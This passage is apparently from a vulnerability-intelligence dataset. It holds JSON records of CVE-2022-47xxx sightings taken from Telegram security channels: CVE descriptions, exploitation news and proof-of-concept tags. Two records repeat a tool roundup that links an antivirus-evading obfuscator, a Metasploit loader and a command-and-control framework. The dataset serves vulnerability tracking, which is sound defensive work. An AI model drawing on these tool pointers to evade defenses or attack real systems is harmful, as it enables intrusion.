"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "https://t.me/ctinow/88012", "content": "ManageEngine CVE-2022-47966 Technical Deep Dive\n\nhttps://ift.tt/dQBMc6A", "creation_timestamp": "2023-01-19T19:54:31.000000Z"}, {"uuid": "cb4f87fd-d186-405e-855a-92bfe5ae06ba", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "exploited", "source": "https://t.me/ctinow/102619", "content": "Ransomware gangs are exploiting IBM Aspera Faspex RCE flaw (CVE-2022-47986)\n\nhttps://ift.tt/yz631rf", "creation_timestamp": "2023-03-30T17:06:07.000000Z"}, {"uuid": "5c4d7fc2-cf7c-40e4-a4bc-a99949637d34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "exploited", "source": "https://t.me/ctinow/95434", "content": "Hackers are actively exploiting CVE-2022-47966 flaw in Zoho ManageEngine\n\nhttps://ift.tt/7NqKh1Y", "creation_timestamp": "2023-02-24T13:02:24.000000Z"}, {"uuid": "8546cf26-2aa4-4447-a3f6-561d75b77456", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47421", "type": "seen", "source": "https://t.me/cibsecurity/66916", "content": "\u203c CVE-2022-47421 \u203c\n\nAuth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in Repute InfoSystems ARMember (free), Repute InfoSystems ARMember (premium) plugins.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-07-18T18:32:53.000000Z"}, {"uuid": "27676b58-847a-4147-99f2-38417e3e78b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47522", "type": "published-proof-of-concept", "source": "Telegram/Sd3Yeffac5l_cN3j7Zg10Iv5d7wWPySyXAx1qkSfJeLSkJ4", "content": "", "creation_timestamp": "2023-03-31T15:29:13.000000Z"}, {"uuid": "f8fc99ac-df9a-4345-8272-35cf80e9172d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47432", "type": "seen", "source": "https://t.me/cibsecurity/73580", "content": "\u203c CVE-2022-47432 \u203c\n\nImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Kemal YAZICI - PluginPress Shortcode IMDB allows SQL Injection.This issue affects Shortcode IMDB: from n/a through 6.0.8.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-06T12:25:42.000000Z"}, {"uuid": "2c2112c2-687f-4b44-8368-454e6f586652", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "Telegram/IJhgMarSf2TVVZYea0Ymbnso6wx0M8Ud--wV6Vs4ccHCfyc", "content": "", "creation_timestamp": "2023-01-21T09:39:22.000000Z"}, {"uuid": "a948d23f-3aa9-4a04-909f-c91d82959042", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "Telegram/qiGuIf9TXN1tKx9mFqE1x5x_e-jibrNtDOSkc9yXbkXyPS0", "content": "", "creation_timestamp": "2023-01-20T13:05:49.000000Z"}, {"uuid": "9b0c6fe7-0fe8-44a3-86be-2602afb821c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "Telegram/MYZ1eCoj4wi8ZmvZR5qBIKqRipHD_J4AKLHI0JgZX0udQU8", "content": "", "creation_timestamp": "2023-01-19T20:06:59.000000Z"}, {"uuid": "95858859-008c-44f2-938a-4db9ef0781a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47945", "type": "seen", "source": "https://t.me/CyberBulletin/2306", "content": "\u26a1Attackers Ramp Up Exploitation of CVE-2022-47945 and CVE-2023-49103 Vulnerabilities.\n\n#CyberBulletin", "creation_timestamp": "2025-02-13T10:51:51.000000Z"}, {"uuid": "07aba7b6-2423-4d82-bd22-339ba06d96d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47003", "type": "published-proof-of-concept", "source": "Telegram/lcHBbc9djOcQxQTmmp71-eSQ4ti3SLrjevUGqO-YOEL5HdE", "content": "", "creation_timestamp": "2023-03-13T13:17:14.000000Z"}, {"uuid": "27fdc679-1d97-49e9-8a03-c57ded029b5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47002", "type": "published-proof-of-concept", "source": "Telegram/lcHBbc9djOcQxQTmmp71-eSQ4ti3SLrjevUGqO-YOEL5HdE", "content": "", "creation_timestamp": "2023-03-13T13:17:14.000000Z"}, {"uuid": "c34627af-ce20-4ebd-b70a-9f3dccec4f4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47951", "type": "seen", "source": "https://t.me/cvedetector/1540", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-40767 - OpenStack Nova Unauthorized File Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-40767 \nPublished : July 24, 2024, 5:15 a.m. | 46\u00a0minutes ago \nDescription : In OpenStack Nova before 27.4.1, 28 before 28.2.1, and 29 before 29.1.1, by supplying a raw format image that is actually a crafted QCOW2 image with a backing file path or VMDK flat image with a descriptor file path, an authenticated user may convince systems to return a copy of the referenced file's contents from the server, resulting in unauthorized access to potentially sensitive data. All Nova deployments are affected. NOTE: this issue exists because of an incomplete fix for CVE-2022-47951 and CVE-2024-32498. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"24 Jul 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-07-24T08:17:20.000000Z"}, {"uuid": "fa08d164-7566-4c18-8594-dd65c3ebf61d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47420", "type": "seen", "source": "https://t.me/cibsecurity/73586", "content": "\u203c CVE-2022-47420 \u203c\n\nImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Online ADA Accessibility Suite by Online ADA allows SQL Injection.This issue affects Accessibility Suite by Online ADA: from n/a through 4.11.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-06T12:25:51.000000Z"}, {"uuid": "2678949c-5e2d-4f24-a913-18a9c7fe5b23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47588", "type": "seen", "source": "https://t.me/cibsecurity/73529", "content": "\u203c CVE-2022-47588 \u203c\n\nImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Tips and Tricks HQ, Peter Petreski Simple Photo Gallery simple-photo-gallery allows SQL Injection.This issue affects Simple Photo Gallery: from n/a through v1.8.1.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-03T15:23:40.000000Z"}, {"uuid": "5a435f57-2161-464e-902c-4fa04e195249", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47426", "type": "seen", "source": "https://t.me/cibsecurity/73524", "content": "\u203c CVE-2022-47426 \u203c\n\nImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Neshan Maps Platform Neshan Maps neshan-maps allows SQL Injection.This issue affects Neshan Maps: from n/a through 1.1.4.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-03T15:23:32.000000Z"}, {"uuid": "8fb69042-c230-4dda-bb2a-ebd49d3dc5cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47445", "type": "seen", "source": "https://t.me/cibsecurity/73515", "content": "\u203c CVE-2022-47445 \u203c\n\nImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Web-X Be POPIA Compliant be-popia-compliant allows SQL Injection.This issue affects Be POPIA Compliant: from n/a through 1.2.0.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-11-03T15:23:20.000000Z"}, {"uuid": "8858eab4-c413-4ca0-ac49-21fe435185ec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4757", "type": "seen", "source": "Telegram/K3iMO4XMgX_oKNsM1u_h82V2dPCG8yABmo5FPynOk-y6LUCk", "content": "", "creation_timestamp": "2025-03-11T04:41:13.000000Z"}, {"uuid": "c093713b-3886-4f41-aaa4-63dcc9d69df0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4795", "type": "seen", "source": "Telegram/fLJ6lGx5SEGUsUQppi4LqCab5KRVCC88F1bP657NGgXm_69U", "content": "", "creation_timestamp": "2025-03-10T19:39:13.000000Z"}, {"uuid": "2d5a170d-5397-4750-992b-b1bf7c59ff5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47665", "type": "seen", "source": "Telegram/pSvDqzLZAhq8adowuItwEGdbX9Gwka_VOlusPHqECnoSLzgT", "content": "", "creation_timestamp": "2025-03-08T04:35:51.000000Z"}, {"uuid": "147d0ea6-b391-46ed-a5e9-3e20e1d63f0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47664", "type": "seen", "source": "Telegram/ebB5l5Vt4Pm0s5PH2GOZ2XTXTS9ZK7dlUnIwAmcwYz1AWNXv", "content": "", "creation_timestamp": "2025-03-08T04:35:51.000000Z"}, {"uuid": "379735c2-553d-40c8-b38e-e01b69f69b22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47465", "type": "seen", "source": "Telegram/rRRYdeVHOIQkEatvKBvipxhEk2wYAaH5CbgAMg_0blQTK4aG", "content": "", "creation_timestamp": "2025-02-14T10:04:00.000000Z"}, {"uuid": "b1901df1-19ac-4e0f-b3c3-c66bb81aa8c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47338", "type": "seen", "source": "Telegram/sgNir4xJ6BMgPtIGZ8Mmxbc1VfC1VVDcsPiUz_ZcbxC8vGTJ", "content": "", "creation_timestamp": "2025-02-14T10:00:29.000000Z"}, {"uuid": "ed39449b-503b-4b05-84b9-ea1e3b744928", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47412", "type": "seen", "source": "https://t.me/arpsyndicate/4666", "content": "#ExploitObserverAlert\n\nCVE-2022-47412\n\nDESCRIPTION: Exploit Observer has 14 entries in 3 file formats related to CVE-2022-47412. Given a malicious document provided by an attacker, the ONLYOFFICE Workspace DMS is vulnerable to a stored (persistent, or \"Type II\") cross-site scripting (XSS) condition.\n\nFIRST-EPSS: 0.000560000\nNVD-IS: 2.7\nNVD-ES: 2.3\nARPS-EXPLOITABILITY: 0.6859383", "creation_timestamp": "2024-04-13T13:57:11.000000Z"}, {"uuid": "8410d669-ee39-43b8-93e8-51a62f34aec2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47015", "type": "seen", "source": "https://t.me/arpsyndicate/3181", "content": "#ExploitObserverAlert\n\nPSS-176777\n\nDESCRIPTION: Exploit Observer has 1 entries in 1 file formats related to PSS-176777. Ubuntu Security Notice USN-6600-1. Ubuntu Security Notice 6600-1 - Several security issues were discovered in MariaDB and this update includes new upstream MariaDB versions to fix these issues. MariaDB has been updated to 10.3.39 in Ubuntu 20.04 LTS, 10.6.16 in Ubuntu 22.04 LTS and 10.11.6 in Ubuntu 23.10. CVE-2022-47015 only affected the MariaDB packages in Ubuntu 20.04 LTS and Ubuntu 22.04 LTS.", "creation_timestamp": "2024-01-28T03:22:30.000000Z"}, {"uuid": "1cf61dc3-1d7c-4ffa-b2b0-5f231f41ce03", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47583", "type": "seen", "source": "https://t.me/cibsecurity/72591", "content": "\u203c CVE-2022-47583 \u203c\n\nTerminal character injection in Mintty before 3.6.3 allows code execution via unescaped output to the terminal.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-10-19T20:34:36.000000Z"}, {"uuid": "e774fc2b-9a83-4f38-a384-7fc7601748e2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "https://t.me/arpsyndicate/1134", "content": "#ExploitObserverAlert\n\nCVE-2022-47966\n\nDESCRIPTION: Exploit Observer has 48 entries related to CVE-2022-47966. Multiple Zoho ManageEngine on-premise products, such as ServiceDesk Plus through 14003, allow remote code execution due to use of Apache Santuario xmlsec (aka XML Security for Java) 1.4.1, because the xmlsec XSLT features, by design in that version, make the application responsible for certain security protections, and the ManageEngine applications did not provide those protections. This affects Access Manager Plus before 4308, Active Directory 360 before 4310, ADAudit Plus before 7081, ADManager Plus before 7162, ADSelfService Plus before 6211, Analytics Plus before 5150, Application Control Plus before 10.1.2220.18, Asset Explorer before 6983, Browser Security Plus before 11.1.2238.6, Device Control Plus before 10.1.2220.18, Endpoint Central before 10.1.2228.11, Endpoint Central MSP before 10.1.2228.11, Endpoint DLP before 10.1.2137.6, Key Manager Plus before 6401, OS Deployer before 1.1.2243.1, PAM 360 before 5713, Password Manager Pro before 12124, Patch Manager Plus before 10.1.2220.18, Remote Access Plus before 10.1.2228.11, Remote Monitoring and Management (RMM) before 10.1.41. ServiceDesk Plus before 14004, ServiceDesk Plus MSP before 13001, SupportCenter Plus before 11026, and Vulnerability Manager Plus before 10.1.2220.18. Exploitation is only possible if SAML SSO has ever been configured for a product (for some products, exploitation requires that SAML SSO is currently active).\n\nFIRST-EPSS: 0.970510000\nNVD-IS: 5.9\nNVD-ES: 3.9", "creation_timestamp": "2023-12-04T06:28:33.000000Z"}, {"uuid": "51504994-6dc8-4ad5-a62b-d337ff3a0ac6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "published-proof-of-concept", "source": "https://t.me/tafvippublic/208", "content": "", "creation_timestamp": "2023-02-14T00:52:21.000000Z"}, {"uuid": "59752169-337e-46c4-9f6e-767605c5c7ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "https://t.me/arpsyndicate/165", "content": "#ExploitObserverAlert\n\nCVE-2022-47966\n\nDESCRIPTION: Exploit Observer has 45 entries related to CVE-2022-47966. Multiple Zoho ManageEngine on-premise products, such as ServiceDesk Plus through 14003, allow remote code execution due to use of Apache Santuario xmlsec (aka XML Security for Java) 1.4.1, because the xmlsec XSLT features, by design in that version, make the application responsible for certain security protections, and the ManageEngine applications did not provide those protections. This affects Access Manager Plus before 4308, Active Directory 360 before 4310, ADAudit Plus before 7081, ADManager Plus before 7162, ADSelfService Plus before 6211, Analytics Plus before 5150, Application Control Plus before 10.1.2220.18, Asset Explorer before 6983, Browser Security Plus before 11.1.2238.6, Device Control Plus before 10.1.2220.18, Endpoint Central before 10.1.2228.11, Endpoint Central MSP before 10.1.2228.11, Endpoint DLP before 10.1.2137.6, Key Manager Plus before 6401, OS Deployer before 1.1.2243.1, PAM 360 before 5713, Password Manager Pro before 12124, Patch Manager Plus before 10.1.2220.18, Remote Access Plus before 10.1.2228.11, Remote Monitoring and Management (RMM) before 10.1.41. ServiceDesk Plus before 14004, ServiceDesk Plus MSP before 13001, SupportCenter Plus before 11026, and Vulnerability Manager Plus before 10.1.2220.18. Exploitation is only possible if SAML SSO has ever been configured for a product (for some products, exploitation requires that SAML SSO is currently active).\n\nFIRST-EPSS: 0.970510000\nNVD-IS: 5.9\nNVD-ES: 3.9", "creation_timestamp": "2023-11-13T19:47:30.000000Z"}, {"uuid": "0b6cbd56-93c9-44ad-811d-0b5ff1cf1c09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-4700", "type": "seen", "source": "https://t.me/arpsyndicate/1691", "content": "#ExploitObserverAlert\n\nCVE-2022-4700\n\nDESCRIPTION: Exploit Observer has 6 entries related to CVE-2022-4700. The Royal Elementor Addons plugin for WordPress is vulnerable to insufficient access control in the 'wpr_activate_required_theme' AJAX action in versions up to, and including, 1.3.59. This allows any authenticated user, including those with subscriber-level permissions, to activate the 'royal-elementor-kit' theme. If no such theme is installed doing so can also impact site availability as the site attempts to load a nonexistent theme.\n\nFIRST-EPSS: 0.000680000\nNVD-IS: 5.9\nNVD-ES: 2.8", "creation_timestamp": "2023-12-11T02:48:51.000000Z"}, {"uuid": "98840bb1-94e0-4db7-aab2-0af8d0dfdacc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47393", "type": "seen", "source": "Telegram/mZjVEjJ9UySCRyqlZinbXkTti1EvxKvFP59xnKSPk7h14g", "content": "", "creation_timestamp": "2023-08-11T08:14:17.000000Z"}, {"uuid": "0772a490-8c35-4ed2-adf4-b81c579d83ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47379", "type": "seen", "source": "Telegram/mZjVEjJ9UySCRyqlZinbXkTti1EvxKvFP59xnKSPk7h14g", "content": "", "creation_timestamp": "2023-08-11T08:14:17.000000Z"}, {"uuid": "1ad9aa13-b69d-4070-9af9-1036bc791d3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "exploited", "source": "Telegram/y_9xEgailhm5zi7OLA---raF9DVO7r_cuzmH1Wux9JCm5g", "content": "", "creation_timestamp": "2023-09-08T09:05:21.000000Z"}, {"uuid": "3d065986-2af4-4029-9b38-af36047b6008", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47758", "type": "published-proof-of-concept", "source": "Telegram/ZM3fpZ54VcLdK07cLXY9FeKGUOVAT36X4OVdGxR76R5ekV0", "content": "", "creation_timestamp": "2024-06-06T13:24:10.000000Z"}, {"uuid": "05deb119-2aa4-45d6-af88-a1f1cfc40e58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47986", "type": "exploited", "source": "https://t.me/KomunitiSiber/39", "content": "IceFire Ransomware Exploits IBM Aspera Faspex to Attack Linux-Powered Enterprise Networks\nhttps://thehackernews.com/2023/03/icefire-linux-ransomware.html\n\nA previously known Windows-based ransomware strain known as IceFire has expanded its focus to target Linux enterprise networks belonging to several media and entertainment sector organizations across the world.\nThe intrusions entail the exploitation of a recently disclosed deserialization vulnerability in IBM Aspera Faspex file-sharing software (CVE-2022-47986, CVSS score: 9.8), according to", "creation_timestamp": "2023-03-10T01:27:41.000000Z"}, {"uuid": "bfc0e78f-5e4a-4f53-9059-c6c1c5d709c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47393", "type": "seen", "source": "https://t.me/KomunitiSiber/635", "content": "16 New CODESYS SDK Flaws Expose OT Environments to Remote Attacks\nhttps://thehackernews.com/2023/08/15-new-codesys-sdk-flaws-expose-ot.html\n\nA set of 16 high-severity security flaws have been disclosed in the\u00a0CODESYS V3\u00a0software development kit (SDK) that could result in remote code execution and denial-of-service under specific conditions, posing risks to operational technology (OT) environments.\nThe flaws, tracked from CVE-2022-47378 through CVE-2022-47393 and dubbed\u00a0CoDe16, carry a CVSS score of 8.8 with the exception of", "creation_timestamp": "2023-08-11T09:09:47.000000Z"}, {"uuid": "4ad6cf01-147a-479c-90b2-5592197733e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47378", "type": "seen", "source": "https://t.me/KomunitiSiber/635", "content": "16 New CODESYS SDK Flaws Expose OT Environments to Remote Attacks\nhttps://thehackernews.com/2023/08/15-new-codesys-sdk-flaws-expose-ot.html\n\nA set of 16 high-severity security flaws have been disclosed in the\u00a0CODESYS V3\u00a0software development kit (SDK) that could result in remote code execution and denial-of-service under specific conditions, posing risks to operational technology (OT) environments.\nThe flaws, tracked from CVE-2022-47378 through CVE-2022-47393 and dubbed\u00a0CoDe16, carry a CVSS score of 8.8 with the exception of", "creation_timestamp": "2023-08-11T09:09:47.000000Z"}, {"uuid": "0ebd0524-0439-4c3f-9486-896b2e09d265", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "exploited", "source": "https://t.me/KomunitiSiber/760", "content": "CISA Warning: Nation-State Hackers Exploit Fortinet and Zoho Vulnerabilities\nhttps://thehackernews.com/2023/09/cisa-warning-nation-state-hackers.html\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Thursday warned that multiple nation-state actors are exploiting security flaws in Fortinet FortiOS SSL-VPN and Zoho ManageEngine ServiceDesk Plus to gain unauthorized access and establish persistence on compromised systems.\n\u201cNation-state advanced persistent threat (APT) actors exploited CVE-2022-47966 to gain unauthorized", "creation_timestamp": "2023-09-08T08:15:12.000000Z"}, {"uuid": "ad4446f5-4d9d-447c-9000-1bc1a240035d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "exploited", "source": "https://t.me/BABATATASASA/5858", "content": "Multiple Nation-State Threat Actors Exploit CVE-2022-47966 and CVE-2022-42475 | CISA\nhttps://www.cisa.gov/news-events/cybersecurity-advisories/aa23-250a", "creation_timestamp": "2023-10-26T22:27:51.000000Z"}, {"uuid": "08be584c-339f-4ad7-842b-3ec009983250", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "Telegram/1-joOHWBN9817Tfs0t_zVrMJvd2WoVN3-lEK8K4ZzBEEZUI", "content": "", "creation_timestamp": "2023-09-09T20:49:05.000000Z"}, {"uuid": "c4f2d143-54c3-4f2a-a16d-6909827f1d79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47522", "type": "published-proof-of-concept", "source": "https://t.me/dilagrafie/3019", "content": "Tools - Hackers Factory \n\nyetAnotherObfuscator\n\nA C# obfuscator tool that can bypass Windows Defender antivirus. I made this tool mainly as an excuse to learn more about C# and how obfuscators function.\n\nhttps://github.com/0xb11a1/yetAnotherObfuscator\n\n#cybersecurity #infosec #pentesting #redteam\n\nhttps://github.com/Mr-xn/BLACKHAT_USA2022\n\n\u200b\u200bFreeMetsrvLoader\n\nFork of freeBokuLoader which targets and frees Metsrv's initial reflective DLL package.\n\nhttps://github.com/attl4s/freeMetsrvLoader\n\n#cybersecurity #infosec #pentesting #redteam\n\n\u200b\u200bPowershell String Cleaner\n\nSimple script to deobfuscate Powershell formatting strings.\n\nhttps://github.com/dr4k0nia/tooling-playground/tree/main/PowershellStringCleaner\n\n#cybersecurity #infosec\n\n\u200b\u200bUSBvalve\n\nI'm sure that, like me, you were asked to put your USB drive in an unknown device...and then the doubt:\n\nwhat happened to my poor dongle, behind the scene? Stealing my files? Encrypting them? Or just installing a malware? With USBvalve you can spot this out in seconds: built on super cheap off-the-shelf hardware you can quickly test any USB file system activity and understand what is going on before it's too late!\n\nhttps://github.com/cecio/USBvalve\n\n#cybersecurity #infosec\n\n\u200b\u200bPoastal\n\nPoastal is an email #OSINT tool that provides valuable information on any email address. With Poastal, you can easily input an email address and it will quickly answer several questions, providing you with crucial information.\n\nhttps://github.com/jakecreps/poastal\n\n#cybersecurity #infosec\n\n\u200b\u200bMacStealer \n\nWi-Fi Client Isolation Bypass.\n\nThis repo contains MacStealer. It can test Wi-Fi networks for client isolation bypasses (CVE-2022-47522). Our attack can intercept (steal) traffic toward other clients at the MAC layer, even if clients are prevented from communicating with each other. \n\nhttps://github.com/vanhoefm/macstealer\n\n#cybersecurity #infosec\n\n\u200b\u200bmulef\n\nThis tool performs #OSINT by finding #LinkedIn employees on GitHub. It has two modes: one for searching keywords on the GitHub profiles of the users you're searching for, and the other for scraping the location of the employee from LinkedIn, searching for the name of the employee, and then checking if their location on GitHub matches the one on LinkedIn.\n\nhttps://github.com/mux0x/mulef\n\n#cybersecurity #infosec\n\n\u200b\u200bhacking-writeups\n\nHelpful shell commands and lots of writeups from machines solved on Hack the Box and also walkthroughs from CTF competitions.\n\nhttps://github.com/BitFlippa27/hacking-writeups/tree/main/htb/ctf/cyber-apocalypse-2023/web\n\n#cybersecurity #infosec #pentesting #redteam\n\n\u200b\u200bHardHat C2\n\nA cross-platform, collaborative, Command & Control framework written in C#, designed for red teaming and ease of use.\n\nhttps://github.com/DragoQCC/HardHatC2\n\n#cybersecurity #infosec #pentesting #redteam\n\nhttps://t.me/dilagrafie\nhttps://t.me/HackerFactory", "creation_timestamp": "2023-05-20T10:20:10.000000Z"}, {"uuid": "a4c091ff-55fe-49c3-ae0d-dc5e07e7fa9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47522", "type": "published-proof-of-concept", "source": "https://t.me/dilagrafie/2863", "content": "Tools - Hackers Factory \n\nyetAnotherObfuscator\n\nA C# obfuscator tool that can bypass Windows Defender antivirus. I made this tool mainly as an excuse to learn more about C# and how obfuscators function.\n\nhttps://github.com/0xb11a1/yetAnotherObfuscator\n\n#cybersecurity #infosec #pentesting #redteam\n\nhttps://github.com/Mr-xn/BLACKHAT_USA2022\n\n\u200b\u200bFreeMetsrvLoader\n\nFork of freeBokuLoader which targets and frees Metsrv's initial reflective DLL package.\n\nhttps://github.com/attl4s/freeMetsrvLoader\n\n#cybersecurity #infosec #pentesting #redteam\n\n\u200b\u200bPowershell String Cleaner\n\nSimple script to deobfuscate Powershell formatting strings.\n\nhttps://github.com/dr4k0nia/tooling-playground/tree/main/PowershellStringCleaner\n\n#cybersecurity #infosec\n\n\u200b\u200bUSBvalve\n\nI'm sure that, like me, you were asked to put your USB drive in an unknown device...and then the doubt:\n\nwhat happened to my poor dongle, behind the scene? Stealing my files? Encrypting them? Or just installing a malware? With USBvalve you can spot this out in seconds: built on super cheap off-the-shelf hardware you can quickly test any USB file system activity and understand what is going on before it's too late!\n\nhttps://github.com/cecio/USBvalve\n\n#cybersecurity 